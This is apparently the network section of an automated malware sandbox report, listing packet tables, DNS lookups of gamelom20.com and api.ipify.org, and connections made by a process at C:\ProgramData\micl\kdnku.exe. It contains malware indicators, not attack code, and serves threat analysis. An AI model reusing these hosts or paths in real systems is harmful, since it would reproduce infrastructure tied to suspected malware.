Apr 2, 2023 09:51:06.168343067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168366909 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168389082 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168390989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168414116 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168415070 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168440104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168464899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168488026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168500900 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168512106 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168534994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168543100 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168560028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168560982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168585062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168616056 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168629885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168668032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168688059 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168692112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168708086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168732882 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168756962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168759108 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168781042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168797016 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168848038 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.189380884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189415932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189443111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189469099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189495087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.189496994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189543962 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.189557076 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189584017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.189621925 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.274880886 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.532471895 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.536087036 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.847629070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.869297028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869365931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869415045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869461060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869461060 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.869507074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869540930 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.869550943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869597912 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869636059 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.869651079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869760990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869796991 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.869807959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869849920 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869893074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869936943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.869975090 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.869980097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870022058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870065928 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870083094 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870107889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870150089 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870193005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870239973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870284081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870318890 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870327950 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870373964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870424986 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870459080 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870500088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870542049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870574951 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870587111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870639086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870676994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870722055 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870745897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870790005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870826006 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870831966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870867014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.870876074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870918036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.870959997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871038914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871074915 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.871083021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871125937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871166945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871201038 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.871210098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871252060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871294975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871330023 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.871336937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871378899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871413946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.871423006 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871464968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871545076 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.871578932 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.871655941 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.892246008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892308950 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892357111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892395020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.892402887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892505884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892538071 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.892553091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892597914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892636061 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.892648935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892694950 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892739058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892772913 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.892785072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892828941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892878056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892914057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.892926931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.892972946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893004894 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893017054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893064022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893107891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893142939 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893153906 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893237114 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893284082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893316031 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893327951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893372059 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893415928 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893449068 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893460989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893507004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893553019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893583059 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893583059 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893601894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893652916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893735886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893780947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893826962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893851995 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893872023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893903017 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.893915892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893961906 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.893995047 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894047022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894093037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894124985 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894136906 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894181013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894213915 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894227028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894270897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894315004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894359112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894404888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894449949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894493103 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894525051 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894537926 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894582987 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894630909 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894665003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894675970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894789934 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894835949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894835949 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894881010 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894925117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.894958019 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.894970894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895015001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895061016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895091057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895107031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895152092 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895183086 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895198107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895242929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895277023 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895294905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895370007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895416021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895450115 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895462990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895509005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895553112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895567894 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895597935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895647049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895678043 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895693064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895736933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895766973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895781994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895827055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895870924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895903111 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.895922899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.895998001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896043062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896086931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896132946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896161079 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896161079 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896178007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896223068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896306038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896341085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896352053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896395922 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896408081 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896441936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896480083 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896488905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896519899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896533966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896576881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896593094 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896626949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896661043 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896671057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896717072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.896749973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.896768093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.897270918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.917392015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917453051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917500019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917546034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917592049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917639971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917669058 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.917687893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917722940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.917736053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917793036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917871952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917917967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917962074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.917964935 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918006897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918051958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918095112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918138981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918140888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918193102 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918216944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918240070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918262959 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918263912 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918345928 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918384075 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918389082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918433905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918478966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918517113 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918521881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918560982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918570042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918613911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918617010 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918730021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918777943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918822050 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918822050 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.918862104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.918909073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.919044018 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.926228046 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.947015047 CEST	80	49724	131.188.40.189	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2023 09:49:16.337522030 CEST	56572	53	192.168.2.4	8.8.8.8
Apr 2, 2023 09:49:16.452410936 CEST	53	56572	8.8.8.8	192.168.2.4
Apr 2, 2023 09:49:17.281356096 CEST	50911	53	192.168.2.4	8.8.8.8
Apr 2, 2023 09:49:17.316982985 CEST	53	50911	8.8.8.8	192.168.2.4
Apr 2, 2023 09:50:40.850723982 CEST	59683	53	192.168.2.4	8.8.8.8
Apr 2, 2023 09:50:41.840828896 CEST	59683	53	192.168.2.4	8.8.8.8
Apr 2, 2023 09:50:42.929871082 CEST	59683	53	192.168.2.4	8.8.8.8
Apr 2, 2023 09:50:43.058643103 CEST	53	59683	8.8.8.8	192.168.2.4
Apr 2, 2023 09:50:43.435395956 CEST	64167	53	192.168.2.4	8.8.8.8
Apr 2, 2023 09:50:43.470282078 CEST	53	64167	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 2, 2023 09:49:16.337522030 CEST	192.168.2.4	8.8.8.8	0x5a2	Standard query (0)	gamelom20.com	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:49:17.281356096 CEST	192.168.2.4	8.8.8.8	0x2ea3	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:40.850723982 CEST	192.168.2.4	8.8.8.8	0x1918	Standard query (0)	gamelom20.com	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:41.840828896 CEST	192.168.2.4	8.8.8.8	0x1918	Standard query (0)	gamelom20.com	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:42.929871082 CEST	192.168.2.4	8.8.8.8	0x1918	Standard query (0)	gamelom20.com	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:43.435395956 CEST	192.168.2.4	8.8.8.8	0xe114	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 2, 2023 09:49:16.452410936 CEST	8.8.8.8	192.168.2.4	0x5a2	No error (0)	gamelom20.com		34.171.171.32	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:49:17.316982985 CEST	8.8.8.8	192.168.2.4	0x2ea3	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 2, 2023 09:49:17.316982985 CEST	8.8.8.8	192.168.2.4	0x2ea3	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:49:17.316982985 CEST	8.8.8.8	192.168.2.4	0x2ea3	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:49:17.316982985 CEST	8.8.8.8	192.168.2.4	0x2ea3	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:43.058643103 CEST	8.8.8.8	192.168.2.4	0x1918	No error (0)	gamelom20.com		34.171.171.32	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:43.470282078 CEST	8.8.8.8	192.168.2.4	0xe114	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 2, 2023 09:50:43.470282078 CEST	8.8.8.8	192.168.2.4	0xe114	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:43.470282078 CEST	8.8.8.8	192.168.2.4	0xe114	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Apr 2, 2023 09:50:43.470282078 CEST	8.8.8.8	192.168.2.4	0xe114	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

171.25.193.9

193.23.244.244

178.79.182.63

131.188.40.189

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49697	173.231.16.76	443	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49721	104.237.62.211	443	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49711	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
